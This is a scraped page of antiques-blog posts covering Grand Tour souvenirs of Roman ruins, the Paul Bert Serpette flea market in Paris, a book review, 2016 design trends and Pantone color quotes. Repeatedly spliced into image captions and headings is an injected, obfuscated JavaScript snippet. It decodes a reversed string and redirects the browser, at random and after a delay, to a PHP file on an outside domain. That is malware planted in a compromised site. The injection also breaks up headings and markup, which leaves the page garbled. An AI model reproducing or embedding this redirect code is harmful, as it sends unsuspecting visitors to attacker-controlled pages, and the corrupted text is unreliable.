All Roads Lead to Roman Ruins- Guest Blog by Piraneseum

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I am delighted to share a guest blog today by Lucia Howard of Piraneseum.com. Piraneseum trades in antique architectural mementos, including paintings, drawings, prints, and models spanning the 17th through 19th centuries. The subjects of many of these objects are Rome’s ancient ruins. Interestingly, this subject seems, in some ways, as current today as it did two hundred years ago. In today’s blog, Lucia shares some insight on how all roads seem to lead to Roman ruins.

Lucia writes:

What do the fusty, musty, dusty artifacts of the past tell us of the present, or our future? If History does not precisely repeat itself, does it offer any hints or tips?

All Roads Lead <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Roman Ruins- Guest Blog by Piraneseum Fig. 1 Gian Paolo Panini, Capriccio of Roman Ruins, c.1760. A characteristic painting by this master of imaginary and realistic views of the city’s ancient landmarks. This scene incorporates a range of ruined landmarks – Colosseum, Pyramid of Caius Cestius, Arch of Janus, Arch of Constantine, Trajan’s Column, and Temples of Vesta, Saturn and of Castor and Pollux, etc. – into a wholly imaginary, highly picturesque landscape.” width=”300″ height=”191″ /> Fig. 1
Gian Paolo Panini, Capriccio of Roman Ruins, c.1760. A characteristic painting by this master of imaginary and realistic views of the city’s ancient landmarks. This scene incorporates a range of ruined landmarks – Colosseum, Pyramid of Caius Cestius, Arch of Janus, Arch of Constantine, Trajan’s Column, and Temples of Vesta, Saturn and of Castor and Pollux, etc. – into a wholly imaginary, highly picturesque landscape.

Piraneseum, named after that sublimely volatile genius etcher of Roman architectural ruins anddecay, trades in the fustiest, mustiest, dustiest, objects – souvenirs of the Grand Tour. These mementos – 17th and 18th century paintings, drawings and prints of ancient ruins (fig. 1); 19th century bronze and marble models of collapsed temples and broken monuments (fig. 2); and splendidly-realized 18th and 19th century decorative arts (fig. 3) – often share a single focus – ancient architecture brought low. Two hundred years ago, what was the appeal of these mementos? What shall we make of them now?

All Roads Lead <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Roman Ruins- Guest Blog by Piraneseum Fig. 2 An exquisite, c.1820, gilded bronze model of the Arch of Constantine. Interestingly, the leading makers of souvenir architectural models in Rome in the first part of the 19th century were two Prussian emigres – Wilhelm Hopfgarten and Ludwig Jollage. Unlike others, they portrayed the city’s ancient monuments as they had been in antiquity, rather than as they found them. Thus, this model includes the monumental sculptural group atop the Arch, with four horse quadriga and flanking riders – a feature long since vanished.” width=”300″ height=”194″ /> Fig. 2
An exquisite, c.1820, gilded bronze model of the Arch of Constantine. Interestingly, the leading makers of souvenir architectural models in Rome in the first part of the 19th century were two Prussian emigres – Wilhelm Hopfgarten and Ludwig Jollage. Unlike others, they portrayed the city’s ancient monuments as they had been in antiquity, rather than as they found them. Thus, this model includes the monumental sculptural group atop the Arch, with four horse quadriga and flanking riders – a feature long since vanished.

In the 18th century, the Grand Tour (the name given period European travel by a late 17th century Italian guidebook) was primarily a British and French activity undertaken by the most privileged. By the middle of the following century, though, and the opening of rail lines from throughout Europe to Rome, the Tour became a more popular proposition, the forerunner of an eventual tourist industry.

All Roads Lead <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Roman Ruins- Guest Blog by Piraneseum Obelisques” width=”270″ height=”300″ /> Fig. 3 An 1861 guidebook – Rome of Today – describes a visit to a souvenir shop. “My companion scooped an ample harvest of antique monuments reduced to citizen proportions. He bought two Coliseums, one Arch of Titus, one Trajan’s Column, four obelisks, and one Tomb of the Scipios.” Pictured is a speculative reconstruction of this purchase, with models fashioned in antique marbles, including nero, giallo, and rosso antico, as well as africano.

By the mid-18th century, England and France were at summits of their respective empires, though there were clouds on their horizons (and quite a bit closer). What did these countries’ high-born visitors to Rome think, on viewing first-hand both the extent of the ancient city’s vast architectural achievements, and their thoroughgoing, catastrophic undoing? Period responses to the spectacle of the shattered remains included astonishment both that History had taken such a turn, and that humanity had, somehow, survived.

Might this have seemed, as the late Berra observed, “like déjà vu all over again”? Grand Tourists’ focus, even fascination, with Roman ruins speaks both to the suggestive, Romantic power of the place, and, we believe, those visitors’ apprehensions over the future. At the very least, Rome offers high-flying civilizations a cautionary tale.

With the spectacular rise of Italian tourism in the 19th century came, of course, the need for souvenirs. (Which came first – the tourist or the souvenir?) While these mementos are of many varieties, a predominant type features imagery of the ancient ruins of the Eternal City. The market for this species of imagery was robust and, by the 19th century, longstanding.

All Roads Lead <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Roman Ruins- Guest Blog by Piraneseum Why Ruins Resonate Fig. 4″ width=”300″ height=”271″ /> Fig. 4 A mid-19th century, micromosaic view of Rome’s Forum, fashioned in the Vatican Mosaic Studio from thousands of tiny, colored glass tiles, set in a matrix of variously-hued grouts. A realistic view, the scene includes the ruins of the Temples of Vespasian and Saturn, and Arches of Septimius Severus and (in the distance) Titus.

Even the Roman Church got into the souvenir business. Its Vatican Mosaic Studio (fig. 4), organized in the 16th century for the purpose of reproducing, in more enduring materials, the Papacy’s collection of then deteriorating old master paintings, pivoted, early in the 19th century to the production of micromosaic views of Rome. These included the range of ruins, though, naturally, an oft-recurring image was Piazza San Pietro.

We are partial to the extraordinary variety of very wonderful souvenir architectural models fashioned in Rome and Italy throughout the 19th century (fig. 5). Subjects include nearly every ancient, ruined, Roman landmark.

All Roads Lead <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Roman Ruins- Guest Blog by Piraneseum Ruins statues” width=”216″ height=”300″ /> Fig. 5 A highly-detailed, c.1860 pair of giallo antico marble models of the Roman Temples of Vespasian, and Castor and Pollux. This stone was originally quarried 2,000 years ago near Chemtou, in Western Tunisia, then brought to Rome and incorporated in the city’s ancient architecture. After serial sackings, ruined Rome was awash in marble fragments, the material from which these very fine souvenirs were carved.

These appeal in every way, especially arches, temples, columns, tombs, obelisks, and assorted statues, as they bring irresistibly to mind the pleasantest times passed in the Eternal City. Their profuse charms and interest as objects run even to their materials – often colored, figured, highly-polished marbles and alabasters, almost none of which were quarried in Italy. No, the stones from which these 19th century tourists’ mementos are fashioned were largely brought to Rome from the edges of the Empire (Greece, Egypt, Tunisia), in the time of Augustus, 2,000 years ago; and originally formed part of the city’s architectural fabric. After serial sackings leading to its fall, the ancient city’s ground was reported to be covered in shards of colored marble; the eventual material of these souvenirs. Thus the remarkable fact of these models of architectural ruins being made from ruins themselves!

As these objects lull and intrigue us, cause our minds to run to Rome, they’ve very much more sober aspects, as well; reminding both of what the city once was, and what befell it. Grasping its souvenirs, we very literally hold in our hands the corpus of the Eternal City.

Today, the American Century expired, Rome provides U.S. visitors something very similar to that offered the English and French more than two hundred years ago – the pleasures of the place, wrapped in its admonitory history. The causes of Rome’s fall – political corruption; far-flung, ruinously expensive military adventures; an ever less productive economy; civil chaos of every stripe; even, say modern historians, environmental degradation – resonate. And as we take in the grandeur of the ancient ruins, the scene spread before us acts simultaneously as a picturesque architectural canvas and, for the observant, a crystal ball.

If architectural souvenirs provoke our memories and inform our views of the present, what of the time ahead? Can there be souvenirs of the future?

Among the most provocative models, is an exquisitely-wrought, cast bronze replica of the obelisk in Central Park, New York, cast by Tiffany & Company in 1881 (fig. 6). Fashioned of red granite from Aswan, it was first installed in Heliopolis 3,500 years ago, on the order of a Pharaoh (Thutmose III, son of Thutmose II). Fifteen centuries later, in 12 AD, Egyptian dominion vanquished and Rome’s ascendant, an Emperor (Caesar Augustus, adopted son of Julius Caesar) directed the shaft be floated down the Nile to Alexandria, capital of the then Roman province, Aegyptus. In 1880, financed by a new species of potentate (tycoon William Vanderbilt, son of Commodore), the Needle set sail for Gotham.

All Roads Lead <script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Roman Ruins- Guest Blog by Piraneseum Fig. 6 A very highly-realized, patinated bronze model of Cleopatra’s Needle in Central Park, produced by Tiffany & Company in 1881. Henry Honeychurch Gorringe, who had been commissioned by business magnate William Vanderbilt to retrieve the 200 ton granite monolith from Alexandria, sponsored the making of this remarkable souvenir, which he gave both to those involved in the undertaking, and to New York’s eminent and influential.” width=”170″ height=”300″ /> Fig. 6
A very highly-realized, patinated bronze model of Cleopatra’s Needle in Central Park, produced by Tiffany & Company in 1881. Henry Honeychurch Gorringe, who had been commissioned by business magnate William Vanderbilt to retrieve the 200 ton granite monolith from Alexandria, sponsored the making of this remarkable souvenir, which he gave both to those involved in the undertaking, and to New York’s eminent and influential.

Should New York’s Needle (a landmark, by the way, unrelated to the Queen of the Nile) yet again demonstrate expectation-defying get-up-and-go, it likely won’t be in Egypt’s direction, but the other way. History points in the direction of Beijing, not Alexandria or Heliopolis. And after some centuries decorating Tianenmen Square, where next?

In these ways and others, by example and by lesson, many 19th century architectural mementos seem quite up to date – offering the golden-hued satisfactions of memory while reminding of the past’s portentous presence within our glittery, onrushing future.

Thanks so much Lucia for sharing this interesting piece with us! Now I’m in the mood to shop for Grand Tour antiques…and to travel to Rome!

Until next time,

The Antiques Diva®

Living with Antiques in Modern Times Talk & Cocktail Hour

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>If you’re planning to be in Paris for Maison & Objet – Mark your calendars!!!! As if my The Antiques Diva & Co Paris Flea Market Party at Paul Bert Serpette on January 24, 2016 wasn’t enough diva action during Maison & Objet, just wait there’s more!!! I am delighted to be joining Cathy Whitlock of Ruby LUX along with Jake Baer of Newel Antiques in a special event coordinated between Andrew Joseph PR and Beth Dempsey PR at the POP UP SHOP Ancient & Modern on Saturday, January 23 at 4pm.

Living with Antiques in Modern Times Talk & Cocktail Hour main speakers

We’ll be discussing how trends come and go but style lives forever. Learn about the ins and outs behind investment pieces that will not only add taste to a home but eminent value that grows as time passes. Our group of panelists will also be discussing the differences in buying trends when seeking antiques, shopping online vs brick & mortar, and offer industry insight on what to look out for this year in 2016.

Living with Antiques in Modern Times Talk & Cocktail Hour Poster

Where: 16, rue Guénégaud, Paris, France 75006
When: Saturday, January 23, 2016 4pm

I hope to see you there!

The Antiques Diva®

Paul Bert Serpette

Dear Diva Readers,

 

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>In to-a-party-at-the-paris-flea-market#comments” target=”_blank”>Friday’s blog I invited you to join me in Paris at our annual Antiques Diva Paris Flea Market Fete Sunday January 24, 2016 co-hosted with (and at) Paul Bert Serpette.

Today I wanted to explore Paul Bert Serpette and tell you why they are our favorite section of the Paris Flea Market!

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

First all of you – did you know that Paris Flea Market isn’t just one flea market but rather a series of 15 markets spanning more than 7 miles of antique-filled alleyways?  It’s massive and clients can definitely feel confused and intimidated when trying to navigate the market on their own without the aid of an Antiques Diva Tour Guide, asking themselves “Where do we go? How do we find what we’re looking for?!” We know the market like the back of our hand – those little alleyways, those hidden restaurants you’d never actually find off the main road, the vendors whose inventory is half the price of the others…  Plus the vendors know us, which helps when getting the best prices on your purchases because when we walk in the stall with a client the vendor knows our client means business.  Our job is to take you by the hand and show you an insider’s guide to Paris. So often we receive emails from soon-to-be clients, saying “I went to the Paris Flea Market but when I arrived the Clignancourt Metro I got lost – and the neighborhood was actually sketchy and I never found the flea market! I only found a scary market selling t-shirt, and stolen watches, and suitcases… HELP! I want to see the Paris Flea Market of my dreams!!!”

That’s where Paul Bert Serpette comes in – It’s the Paris Flea Market of your dreams!

When you arrive the Paris Flea Market – the main artery of the market is the Rue de Rosiers  – as you walk up this main road you will pass a variety of markets – and while we love all the markets, our favorite finds are near the end of the market on your left.  That market is Paul Bert Serpette.

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

Do you remember the theme song to the TV show Cheers “You want to go where people know,  people are all the same.  You want to go where everybody knows your name.”  For me – that “Cheers” place is Paul Bert Serpette – the friendliest section of the flea market, where all the inventory looks as if it should go onto a magazine cover and where you find the best inventory at the best flea market in the world.

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

 

Paul Bert Serpette is truly the flagship of the Puces de Paris Saint-Ouen – and it’s actually the world’s largest antique market – it’s positively chocked full of the most beautiful pieces of furniture, jewelery, design and vintage clothing from Antiquity to the 1990’s!

Competition is fierce when hunting for antiques – Paul Bert Serpette welcomes 5,000 visitors per weekend, drawing passionate collectors and connoisseurs from around the world.  Walking through the market you’ll hear snippets of conversations in every language imaginable… but did you know that this market is as popular with the locals as it is tourists and travelers?  This is where Parisians go to shop on sunny Sunday afternoons!!!

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

Because of our close relationships with vendors, we are honored at The Antiques Diva & Co that we have been appointed as the ONLY APPROVED Antiques Tour Guide of Paul Bert Serpette.

We encourage you to stay up to date on news at Paul Bert Serpette by subscribing to their newsletter.

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

More than that – take some time to poke around their website – did you know you can source antiques at Paul Bert Serpette online??   And if you’re looking for something specific their new website even has a feature that allows you to set an alert, telling them what you’re looking for – and when a vendor at the market gets the item you’re looking for it emails you to notify you of the antique’s availability?!  Now that is what I call service!!!!

We are delighted to be co-hosting our Annual Antiques Diva Paris Flea Market Party with the team from Paul Bert Serpette!!!

For more information on shopping for antiques in Paris email to:info@antiquesdiva.com”>info@antiquesdiva.com.

Bonne Shopping!

The Antiques Diva®

Vintage Home by Judith Miller

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Vintage finds are dominating the “antiques” market place… with more and more clients seeking vintage pieces instead of period antiques. From mid-century modern to retro and beyond, there are so many stylish pieces that can enhance a home. My design philosophy has always been to mix antiques, vintage pieces, and modern objects for the ideal finished product. That’s why I’m so excited the antiques expert—and AD&Co friend— Judith Miller http://www.millersantiquesguide.com has come out with a new book called Vintage Home.

Vintage Home by Judith Miller book

Vintage Home by Judith Miller in coffee table

Miller has written over 100 books, innumerable articles, and is a regular guest on several television and radio shows – I may be The Antiques Diva – but Judith is unquestionably The Queen of Antiques. While I’m constantly adding her reference books which often catalogue antique furniture and objects to my personal library, this new addition showcases the best of 20th Century furniture and design and is a style guide which focuses on vintage and retro furniture. With a brief history of the Modernist movement, the book then looks at the Art Deco period, followed by the New Look & New Moderns, and finally finishing with a comprehensive directory of designers, makers, and suppliers, Judith does what she does best – She demystifies “antiques” and removes stuffy traditional rules from the genre making this “vintage” movement accessible to antiquers helping us understand no matter the age their relevance.

In the book, Miller highlights famous designers like Eames and Murano, and also sheds light on lesser known 20th Century designers. It’s a fantastic reference book for collectors and a visual feast for interior design lovers. For those looking to start or expand a vintage furniture collection, this is the book to read before heading to the auction house or buying online. It’s also a nice guide for the less serious buyer, as it covers mass-produced and highly popular designs that may be considered kitsch and not so costly, but still highly sought after.

Vintage Home by Judith Miller mix of vintage and retro

I’ve seen a big trend in the last year with younger clients wanting to source vintage pieces as well as antiques. Mixing in vintage and retro pieces, be it a mid-century chandelier or a funky plastic chair is what interior designers are doing today and Vintage Home provides inspiration with its gorgeous photos as well as information on specific styles and pieces. Incorporating vintage pieces into the home can be tricky, but the homes featured in this book show how to tastefully add in vintage touches for the way we live now.

If you’re a design fanatic like me, or simply interested in vintage furniture, I recommend adding Vintage Home to your library. It’s a great way to learn about what I think is the next big thing in interiors and antiques, allowing you to know about the styles, designers, and makers of vintage and retro pieces.

Until next time,

The Antiques Diva®

Vintage Home by Judith Miller

2016 Trend Forecast

Dear Diva Readers,

2016 Trend Forecast by Toma Clark Haines

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>As we begin 2016, I’ve been asked what I think the design trends will be this year. I believe that more consumers will say, “Forget the trend,” and opt for one-of-a-kind finds that reflect their personalities. Antiques and hand-made goods will dominate the interior design scene allowing consumers to express their unique sense of style.

2016 Trend Forecast Sculptures

tore-Sottsass.jpg”>tore-Sottsass-235×300.jpg” alt=”2016 Trend Forecast Ettore-Sottsass” width=”235″ height=”300″ />

Mid-century modern a la Don Draper has been done to death. In its place, vintage finds from the 1980’s are coming back to the future and challenging the status quo. Bold Italian designers such as Ettore Sottsass and Michele De Lucchi’s shocking geometric motifs are reappearing on furniture, textiles, tabletop decor, ceramics and even jewelry.

2016 Trend Forecast colorful furniture

Clients are clamoring for color. Fearless color and form combine in a display of zany artistry. The more intense the better! Fuchsia, orange, and azure rule the scene. While we’ve always seen upholstered pieces get facelifts with color, case goods are now being lacquered in bright hues. Like a handkerchief peeking from a tailored jacket, interiors of drawers and cabinets are being given shocking flashes of color—sort of like the classic mullet— it’s all business on the outside but a party on the inside.

2016 Trend Forecast Mantiques

“Mantiques,” Grand Tour, and country house accessories are hot. Chunky leather-clad pieces from the 1930’s to 70’s, vintage trunks, globes, maps, and vintage cartography are giving homes a collected, evolved, and well traveled feel.

2016 Trend Forecast lighting

I hate to break it to you, but size matters. In 2016, bigger is better especially when it comes to lighting. Vintage Italian Murano chandeliers (pieces from the 1970’s and 80’s) which are often reclaimed from hotels are all the rage from New York to LA and Miami to Chicago.

Another theme I see appearing as we enter 2016 is that less is more. One of the biggest trends in antiques has nothing to do with style, but quality. Clients want period pieces with provenance and they are willing to sacrifice and make these purchases. Investing in one quality piece instead of several lower end reproductions is what people are doing now.

When it comes to furniture, brown is the new black. For the last decade whitewashed woods and shabby chic has dominated the interior design scene. In 2016 discerning buyers are picking up highly polished pieces. You’ll see clean lined Empire commodes as a back drop in more interior design magazines, as they add a weight to otherwise airy rooms.

And there you have it- my predictions for what we’ll see in the next year! I hope that you’ll all continue to join me here on the blog and on social media as I travel the globe searching for antiques and style in 2016!

Cheers,

The Antiques Diva®

Pantone Color of the Year 2016

Dear Diva Readers,

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 by The Antiques Diva” width=”227″ height=”300″ />

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>It seems that 2016 is going to be an interesting year of innovation and expanding boundaries throughout the world. Even Pantone is pushing the limits and doing things outside the box. Instead of selecting their usual color of the year, Pantone has announced dual hues for 2016. Serenity and Rose Quartz not only symbolize masculinity and femininity, they also embody tranquility and utilitarianism. They are straight out of Monet’s Gardens giving a soothing relief to the overworked eye, making them ideal for decorating a bedroom or pairing in comfy – yet elegant – clothes for at home entertaining. Let’s take a look at how some top taste makers and style setters would use these colors in design.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Sandra Espinet” width=”200″ height=”300″ />

– Sandra Espinet –
“Nude and Mikonos blue have dominated the fashion industry for the past two years and I feel Rose Quartz & Serenity are a lighter variation of those palettes. I am open to see how it translates into the interior design field.” – Sandy Espinet

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 John Rosselli & Associates” width=”200″ height=”300″ />

– John Rosselli & Associates –
“Serenity” is the perfect color to bring your home a sense of cool, soothing calm. We are all about pairing blue and white together, so we’d love to see this shade of blue combined with vibrant whites. Pantone’s “Rose Quartz” brings a soft component that used with serenity and neutral tones can give any interior space a natural quality.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Alan Tanskley” width=”240″ height=”300″ />

– Alan Tanksley –
Serenity. I love this color. There’s a freshness to it that coordinates well visually with most colors and colorful patterns. A favorite decorative scheme of mine often combines blues of this hue with organic browns and creamy whites.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Joe and Vivian from Global Home” width=”213″ height=”300″ />

– Joe & Vivian of Global Home –
We’re all about Rose Quartz this year. We see it as a resurgence of the 80’s interiors palette. Some of our favorite pieces throughout our product assortment, are made out of actual rose quartz – a beautiful pop of color in our eclectic showroom.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Woven Accents” width=”213″ height=”300″ />

– Christina Tullock of Woven Accents –
Rose quartz used properly in a room can read like a modern neutral. It works especially well when combined with charcoal grey, taupe and shades of bone.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Robin Baron” width=”300″ height=”223″ />

– Robin Baron –
Rose Quartz is a stone that helps generate love, serenity is all about being centered and calm. The names of Pantone’s colors of the year would be enough to inspire a bedroom. The colors themselves are luxurious, soft, and romantic and are perfect for creating a special master bedroom…a retreat from the crazy world we all live in.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Plexi Craft” width=”300″ height=”214″ />

– Plexi-Craft –
Plexi-Craft embraces the Pantone colors of Serenity and Quartz. We can subtly infuse many of our products with these colors, as we do with our Lane side tables (see below). Or, any fabric featuring Serenity and Quartz will look great on a Plexi-Craft upholstered bench, stool, or chair.

Pan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tone Color of the Year 2016 Kathryn Scott” width=”212″ height=”300″ />

– Kathryn Scott –
My first thought of these two colors paired together is one of the boys and girls playing. What better place for them than a playroom? These colors sing like a sunset/rainbow mural…I’d love to see what energy it brings your home.

How would you use these two colors in design or decorating? Let me know in the comments below!

Colorfully yours,

The Antiques Diva®

Entrepreneur Series- Starting a Company

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I get so many people asking me how I started my company. They are usually people who are wanting to start their own business but have doubts, which is totally normal! They have this great idea but aren’t sure about the details and have had others-often well meaning family and friends- tell them it’s too risky. I too had naysayers when starting The Antiques Diva & Co. People thought I was crazy when I told them I was going to start a luxury-based service involving both travel and interior design at the height of the global recession.

Entrepreneur Series- Starting a Company Trust Yourself

 

I originally was writing a series of books about antiquing in Europe, but with the recession of 2008, no one was publishing books. When my book series wasn’t published, naysayers encouraged me to throw in the towel and channel my energies towards more economically viable business models saying, “Forget antiques, design and travel – there’s no money to be made there.” And I ignored them. I learned early on that I had a vision that others couldn’t see. When you own your own company it’s imperative you trust your instincts. That may be one of the best pieces of advice I can give.

Entrepreneur Series- Starting a Company The path <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to Success is Perseverance” width=”212″ height=”300″ />

You absolutely should seek advice from experts – but recognize that just because an expert has good advice, it does not mean their advice is applicable for your situation right now. Some pieces of advice I save for later. Others I negate as invalid. Above all else – do not doubt yourself. No one knows your business as well as you do and the surest way towards success is PERSEVERANCE. Gage what you have control over, set a realistic target and then steadfastly walk in the direction of that goal each day. When that goal is met – move the target – and keep going forward.

Entrepreneur Series- Starting a Company Just do it

